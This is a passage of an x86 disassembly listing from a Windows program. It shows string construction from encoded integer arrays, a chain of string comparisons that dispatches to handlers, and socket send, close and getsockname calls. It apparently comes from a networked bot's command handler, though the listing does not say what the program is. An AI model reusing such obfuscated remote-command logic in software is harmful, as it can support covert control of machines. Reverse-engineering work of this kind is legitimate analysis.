		lea	ebx, [esi+11h]
		jmp	short loc_13BC02D
; ---------------------------------------------------------------------------


loc_13BC02B:				; CODE XREF: sub_13BBF50+D4j
		xor	ebx, ebx


loc_13BC02D:				; CODE XREF: sub_13BBF50+D9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+78h+var_54]
		push	9
		push	ecx
		call	sub_13ABDB5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	[esp+64h+var_1C], 2
		call	sub_13ABBE4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+6Ch+var_60]
		mov	[esp+6Ch+var_28], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC080
		lea	ebx, [esi+11h]
		jmp	short loc_13BC082
; ---------------------------------------------------------------------------


loc_13BC080:				; CODE XREF: sub_13BBF50+129j
		xor	ebx, ebx


loc_13BC082:				; CODE XREF: sub_13BBF50+12Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+84h+var_60]
		push	9
		push	eax
		call	sub_13ABDB5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	[esp+70h+var_28], 3
		call	sub_13ABBE4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+78h+var_6C]
		mov	[esp+78h+var_34], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC0D5
		lea	ebx, [esi+11h]
		jmp	short loc_13BC0D7
; ---------------------------------------------------------------------------


loc_13BC0D5:				; CODE XREF: sub_13BBF50+17Ej
		xor	ebx, ebx


loc_13BC0D7:				; CODE XREF: sub_13BBF50+183j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+8Ch+var_6C]
		push	9
		push	edx
		call	sub_13ABDB5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	[esp+7Ch+var_34], 4
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+84h+var_78]
		mov	[esp+84h+var_40], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC128
		lea	ebx, [esi+11h]
		jmp	short loc_13BC12A
; ---------------------------------------------------------------------------


loc_13BC128:				; CODE XREF: sub_13BBF50+1D1j
		xor	ebx, ebx


loc_13BC12A:				; CODE XREF: sub_13BBF50+1D6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+0A4h+var_78]
		push	9
		push	ecx
		call	sub_13ABDB5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	[esp+88h+var_40], 5
		call	sub_13ABBE4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4C], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC181
		lea	ebx, [esi+11h]
		jmp	short loc_13BC183
; ---------------------------------------------------------------------------


loc_13BC181:				; CODE XREF: sub_13BBF50+22Aj
		xor	ebx, ebx


loc_13BC183:				; CODE XREF: sub_13BBF50+22Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+0C0h+var_84]
		push	9
		push	eax
		call	sub_13ABDB5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	[esp+94h+var_4C], 6
		call	sub_13ABBE4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+9Ch+var_90]
		mov	[esp+9Ch+var_58], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC1DF
		lea	ebx, [esi+11h]
		jmp	short loc_13BC1E1
; ---------------------------------------------------------------------------


loc_13BC1DF:				; CODE XREF: sub_13BBF50+288j
		xor	ebx, ebx


loc_13BC1E1:				; CODE XREF: sub_13BBF50+28Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+0C0h+var_90]
		push	9
		push	edx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	[esp+0A0h+var_58], 7
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0A8h+var_9C]
		mov	[esp+0A8h+var_64], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC23A
		lea	ebx, [esi+11h]
		jmp	short loc_13BC23C
; ---------------------------------------------------------------------------


loc_13BC23A:				; CODE XREF: sub_13BBF50+2E3j
		xor	ebx, ebx


loc_13BC23C:				; CODE XREF: sub_13BBF50+2E8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+0CCh+var_9C]
		push	9
		push	ecx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	[esp+0ACh+var_64], 8
		call	sub_13ABBE4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0B4h+var_A8]
		mov	[esp+0B4h+var_70], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC295
		lea	ebx, [esi+11h]
		jmp	short loc_13BC297
; ---------------------------------------------------------------------------


loc_13BC295:				; CODE XREF: sub_13BBF50+33Ej
		xor	ebx, ebx


loc_13BC297:				; CODE XREF: sub_13BBF50+343j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+0CCh+var_90]
		push	9
		push	eax
		call	sub_13ABDB5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	[esp+0B8h+var_70], 9
		call	sub_13ABBE4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0C0h+var_9C]
		mov	[esp+0C0h+var_7C], edi
		call	sub_13AB626
		mov	ecx, [esp+0C0h+var_84]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13BBF50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BC3F0	proc near		; CODE XREF: sub_13ABEB9j

var_D4		= byte ptr -0D4h
var_BC		= byte ptr -0BCh
var_B4		= byte ptr -0B4h
var_A8		= byte ptr -0A8h
var_A0		= byte ptr -0A0h
var_9C		= byte ptr -9Ch
var_94		= byte ptr -94h
var_90		= byte ptr -90h
var_8C		= byte ptr -8Ch
var_88		= byte ptr -88h
var_80		= byte ptr -80h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_70		= byte ptr -70h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	439879h
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jz	loc_13BC919
		lea	ecx, [edi+26Dh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jz	loc_13BC919
		lea	ecx, [edi+0A1h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BC4F2
		push	offset dword_443600
		lea	eax, [esp+0A4h+var_78]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ebp, eax
		push	offset dword_443600
		lea	ecx, [esp+0B0h+var_9C]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0B8h+var_1C], ebx
		call	sub_13ABAAE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+0B8h+var_28], 1
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13ABBE4
		mov	edx, ds:dword_447110
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CFC
		push	edi
		call	sub_13AC20B
		add	esp, 14h
		lea	ecx, [esp+0B8h+var_A8]
		mov	byte ptr [esp+0B8h+var_28], bl
		call	sub_13AB626
		lea	ecx, [esp+0B8h+var_90]
		mov	[esp+0B8h+var_28], 0FFFFFFFFh
		call	sub_13AB626
		jmp	loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC4F2:				; CODE XREF: sub_13BC3F0+70j
		lea	ecx, [edi+187h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BC569
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+0A4h+var_7C]
		push	eax
		mov	ecx, edi
		call	sub_13AC139
		mov	ecx, eax
		mov	[esp+0A8h+var_18], 2
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F0
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_13ABC48
		add	esp, 18h
		lea	ecx, [esp+0A8h+var_80]
		mov	[esp+0A8h+var_18], 0FFFFFFFFh
		call	sub_13AB626
		jmp	loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC569:				; CODE XREF: sub_13BC3F0+117j
		lea	ecx, [edi+0FDh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BC624
		push	offset dword_443600
		lea	eax, [esp+0ACh+var_80]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+0B8h+var_24], 3
		call	sub_13ABCA2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+0B8h+var_90]
		mov	ebx, eax
		mov	[esp+0B8h+var_28], ebp
		call	sub_13AB626
		test	ebx, ebx
		jz	loc_13BC942
		lea	ecx, [esp+0B8h+var_90]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_13AC139
		mov	ecx, eax
		mov	[esp+0BCh+var_2C], 4
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F0
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_13ABC48
		add	esp, 18h
		lea	ecx, [esp+0BCh+var_94]
		mov	[esp+0BCh+var_2C], ebp
		call	sub_13AB626
		jmp	loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC624:				; CODE XREF: sub_13BC3F0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BC6CD
		push	offset dword_443600
		lea	ecx, [esp+0B0h+var_9C]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ebp, eax
		push	offset dword_443600
		lea	edx, [esp+0BCh+var_90]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0C4h+var_28], ebx
		call	sub_13ABAAE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+0C4h+var_34], 6
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		mov	eax, ds:dword_447114
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CA8
		push	edi
		call	sub_13AC20B
		add	esp, 14h
		lea	ecx, [esp+0C4h+var_9C]
		mov	byte ptr [esp+0C4h+var_34], bl
		call	sub_13AB626
		lea	ecx, [esp+0C4h+var_B4]
		mov	[esp+0C4h+var_34], 0FFFFFFFFh
		call	sub_13AB626
		jmp	loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC6CD:				; CODE XREF: sub_13BC3F0+249j
		lea	ecx, [edi+1B5h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BC73B
		push	offset dword_443600
		lea	ecx, [esp+0B4h+var_88]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0BCh+var_2C], 7
		call	sub_13ABBE4
		mov	edx, ds:dword_447140
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_4435F4
		push	edi
		call	sub_13AC20B
		add	esp, 10h
		lea	ecx, [esp+0BCh+var_94]
		mov	[esp+0BCh+var_2C], 0FFFFFFFFh
		call	sub_13AB626
		jmp	loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC73B:				; CODE XREF: sub_13BC3F0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BC79D
		lea	eax, [esp+0B4h+var_8C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_13AC22E
		mov	ecx, eax
		mov	[esp+0BCh+var_2C], 8
		call	sub_13ABBE4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CF4
		push	edi
		call	sub_13AC20B
		add	esp, 0Ch
		lea	ecx, [esp+0BCh+var_94]
		mov	[esp+0BCh+var_2C], 0FFFFFFFFh
		call	sub_13AB626
		jmp	loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC79D:				; CODE XREF: sub_13BC3F0+360j
		lea	ecx, [edi+1E3h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BC83D
		push	offset dword_443600
		lea	ecx, [esp+0BCh+var_A8]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ebp, eax
		push	1
		push	offset dword_443600
		lea	edx, [esp+0CCh+var_9C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0D4h+var_34], 9
		call	sub_13AB5EA
		mov	esi, eax
		mov	ecx, ebp
		mov	[esp+0D4h+var_44], 0Ah
		call	sub_13AB8D3
		push	eax
		mov	ecx, esi
		call	sub_13AB8D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_13AB518
		lea	ecx, [esp+0E4h+var_BC]
		mov	byte ptr [esp+0E4h+var_54], 9
		call	sub_13AB626
		lea	ecx, [esp+0E4h+var_D4]
		mov	[esp+0E4h+var_54], 0FFFFFFFFh
		call	sub_13AB626
		jmp	loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC83D:				; CODE XREF: sub_13BC3F0+3C2j
		lea	ecx, [edi+159h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BC942
		push	offset dword_443600
		lea	eax, [esp+0C0h+var_4C]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ebp, eax
		push	offset dword_443600
		lea	ecx, [esp+0CCh+var_70]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0D4h+var_38], 0Bh
		call	sub_13ABAAE
		mov	ebx, eax
		push	offset dword_443600
		lea	edx, [esp+0D8h+var_94]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0E0h+var_44], 0Ch
		call	sub_13ABAAE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+0E0h+var_50], 0Dh
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		mov	eax, ds:dword_447144
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CE4
		push	edi
		call	sub_13AC20B
		add	esp, 18h
		lea	ecx, [esp+0E0h+var_A0]
		mov	byte ptr [esp+0E0h+var_50], 0Ch
		call	sub_13AB626
		lea	ecx, [esp+0E0h+var_88]
		mov	byte ptr [esp+0E0h+var_50], 0Bh
		call	sub_13AB626
		lea	ecx, [esp+0E0h+var_70]
		mov	[esp+0E0h+var_50], 0FFFFFFFFh
		call	sub_13AB626
		jmp	short loc_13BC942
; ---------------------------------------------------------------------------


loc_13BC919:				; CODE XREF: sub_13BC3F0+3Aj
					; sub_13BC3F0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	closesocket	; closesocket
		mov	ecx, offset word_448CAE
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_13AB937


loc_13BC942:				; CODE XREF: sub_13BC3F0+FDj
					; sub_13BC3F0+174j ...
		mov	ecx, [esp+9Ch+var_14]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_13BC3F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCAC0	proc near		; CODE XREF: sub_13AC139j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1D		= dword	ptr -1Dh
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	4398CFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_13AB824
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		call	getsockname	; getsockname
		mov	ecx, [esp+30h+var_1D]
		mov	edx, [esp+12h]
		mov	eax, [esp+11h]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+14h]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+40h+var_14]
		push	offset dword_443CD4
		push	edx
		call	wsprintfA	; wsprintfA
		add	esp, 18h
		lea	ecx, [esp+30h+var_4]
		push	offset byte_446F80
		call	sub_13AB9D7
		push	offset dword_443D28
		lea	ecx, [esp+38h+var_8]
		call	sub_13ABE9B
		lea	eax, [esp+38h+var_1D+1]
		lea	ecx, [esp+38h+var_C]
		push	eax
		call	sub_13ABE9B
		push	offset dword_443D24
		lea	ecx, [esp+40h+var_10]
		call	sub_13ABE9B
		add	esi, 28h
		lea	ecx, [esp+40h+var_14]
		push	esi
		call	sub_13ABABD
		push	offset dword_443D24
		lea	ecx, [esp+48h+var_18]
		call	sub_13ABE9B
		lea	ecx, [esp+48h+var_2C]
		push	ecx
		call	sub_13AB879
		add	esp, 4
		test	al, al
		jz	short loc_13BCBCB
		push	offset dword_443D18
		jmp	short loc_13BCBD0
; ---------------------------------------------------------------------------


loc_13BCBCB:				; CODE XREF: sub_13BCAC0+102j
		push	offset dword_443D0C


loc_13BCBD0:				; CODE XREF: sub_13BCAC0+109j
		lea	ecx, [esp+4Ch+var_1D+1]
		call	sub_13ABE9B
		mov	esi, [esp+4Ch+arg_4]
		lea	edx, [esp+4Ch+var_20]
		push	edx
		mov	ecx, esi
		call	sub_13AB8C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_13AB626
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_13BCAC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCC80	proc near		; CODE XREF: sub_13AB982j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	send	; send
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_13BCCDE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	closesocket	; closesocket
		mov	ecx, offset word_448CAE
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_13AB937
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_13BCCDE:				; CODE XREF: sub_13BCC80+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_13BCC80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCD10	proc near		; CODE XREF: sub_13AC20Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	near ptr 13E0C60h
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	_vsnprintf	; _vsnprintf
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_13AB982
		add	esp, 2000h
		retn
sub_13BCD10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCD80	proc near		; CODE XREF: sub_13AB518j

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	439900h
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_13BCDB7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_13BCDB7:				; CODE XREF: sub_13BCD80+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_13AB824
		mov	al, byte ptr [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_13BCDD8
		mov	eax, ds:dword_447110
		push	eax
		jmp	short loc_13BCDDF
; ---------------------------------------------------------------------------


loc_13BCDD8:				; CODE XREF: sub_13BCD80+4Ej
		mov	ecx, ds:dword_447118
		push	ecx


loc_13BCDDF:				; CODE XREF: sub_13BCD80+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_13AB9D7
		push	ebx
		lea	ecx, [esp+48h+var_28]
		call	sub_13AB824
		mov	edx, [esp+48h+arg_4]
		mov	eax, [esp+48h+arg_8]
		push	edx
		push	eax
		lea	ecx, [esp+50h+var_40]
		mov	[esp+50h+var_8], 1
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+54h+var_28]
		push	offset dword_443CFC
		push	ecx
		call	sub_13AB42D
		add	esp, 14h
		lea	ecx, [esp+48h+var_28]
		call	sub_13AB8D3
		push	eax
		mov	ecx, esi
		call	sub_13AB982
		lea	ecx, [esp+4Ch+var_2C]
		mov	bl, al
		mov	byte ptr [esp+4Ch+var_C], 0
		call	sub_13AB626
		lea	ecx, [esp+4Ch+var_44]
		mov	[esp+4Ch+var_C], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+4Ch+var_14]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_13BCD80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCEB0	proc near		; CODE XREF: sub_13ABC48j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	near ptr 13E0C60h
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	_vsnprintf	; _vsnprintf
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_13AB518
		add	esp, 2000h
		retn
sub_13BCEB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCF30	proc near		; CODE XREF: sub_13AC10Cj
		push	esi
		mov	esi, ecx
		call	sub_13AC3B9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_13BCF30	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCF60	proc near		; CODE XREF: sub_13AC3B9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	closesocket	; closesocket
		mov	ecx, offset word_448CAE
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_13AB937
		pop	esi
		retn
sub_13BCF60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCFA0	proc near		; CODE XREF: sub_13ABB21j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_13BCFA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BCFD0	proc near		; CODE XREF: sub_13ABF54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13ABB0D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_13AB694
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_13BCFD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD020	proc near		; CODE XREF: sub_13AC300j

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439918h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_13ABBE4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+34h+var_30]
